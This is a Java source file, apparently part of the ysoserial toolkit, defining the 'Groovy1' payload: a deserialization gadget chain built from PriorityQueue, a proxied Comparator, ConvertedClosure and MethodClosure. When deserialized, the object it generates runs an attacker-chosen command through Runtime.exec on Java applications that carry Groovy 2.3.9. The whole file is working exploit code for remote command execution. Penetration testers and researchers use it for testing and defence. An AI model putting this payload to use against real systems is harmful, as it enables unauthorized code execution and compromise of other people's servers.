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package ysoserial.payloads;
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import java.lang.reflect.InvocationHandler;
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import java.util.Map;
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import org.codehaus.groovy.runtime.ConvertedClosure;
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import org.codehaus.groovy.runtime.MethodClosure;
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import ysoserial.payloads.annotation.Dependencies;
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import ysoserial.payloads.util.Gadgets;
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import ysoserial.payloads.util.PayloadRunner;
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/*
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	Gadget chain:	
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		ObjectInputStream.readObject()
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			PriorityQueue.readObject()
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				Comparator.compare() (Proxy)
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					ConvertedClosure.invoke()
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						MethodClosure.call()
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							...
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						  		Method.invoke()
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									Runtime.exec()
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	Requires:
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		groovy
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 */
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@SuppressWarnings({ "rawtypes", "unchecked" })
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@Dependencies({"org.codehaus.groovy:groovy:2.3.9"})
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public class Groovy1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
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	public InvocationHandler getObject(final String command) throws Exception {
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		final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet");
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		final Map map = Gadgets.createProxy(closure, Map.class);		
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		final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map);
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		return handler;
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	}
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	public static void main(final String[] args) throws Exception {
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		PayloadRunner.run(Groovy1.class, args);
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	}	
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}
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